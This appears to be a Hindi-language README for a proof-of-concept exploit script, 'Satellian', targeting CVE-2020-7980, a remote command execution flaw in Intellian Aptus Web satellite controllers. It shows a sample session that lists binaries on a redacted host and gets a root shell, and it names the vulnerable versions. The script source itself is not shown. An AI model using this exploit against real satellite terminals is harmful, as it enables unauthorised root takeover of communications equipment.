Satellian-CVE-2020-7980

Satellian एक PoC स्क्रिप्ट है जो Intellian Satellite कंट्रोलर (Intellian Aptus Web) पर RCE भेद्यता दर्शाती है।

निम्नलिखित स्क्रिप्ट सिस्टम में सभी बाइनरी को सूचीबद्ध करने का प्रयास करेगी और उसके बाद परीक्षक को सीधे सर्वर (आमतौर पर रूट के रूप में) से इंटरैक्ट करने की अनुमति देगी।

PoC

xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
                  ________________________________________
         (__)    /                                        \
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\/ --' \________________________________________/ 
 / |     ||
*  ||----||             

Performing initial scan. Listing available system binaries.
Starting request to http://<redacted>
Executing command /bin/ls /bin
acu_server
acu_tool
addgroup
adduser
...

Satellian $ id
uid=0(root) gid=0(root)

परीक्षित संस्करण

Intellian v1.12, v1.21, v1.24.

अस्वीकरण

इस रिपॉजिटरी की सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए है। रिपॉजिटरी का लेखक किसी भी जानकारी के दुरुपयोग के लिए किसी भी तरह से जिम्मेदार नहीं है। यह स्क्रिप्ट केवल एक अवधारणा का प्रमाण है, और इसे किसी भी तरह से दुर्भावनापूर्ण गतिविधियों के लिए विकसित नहीं किया गया है।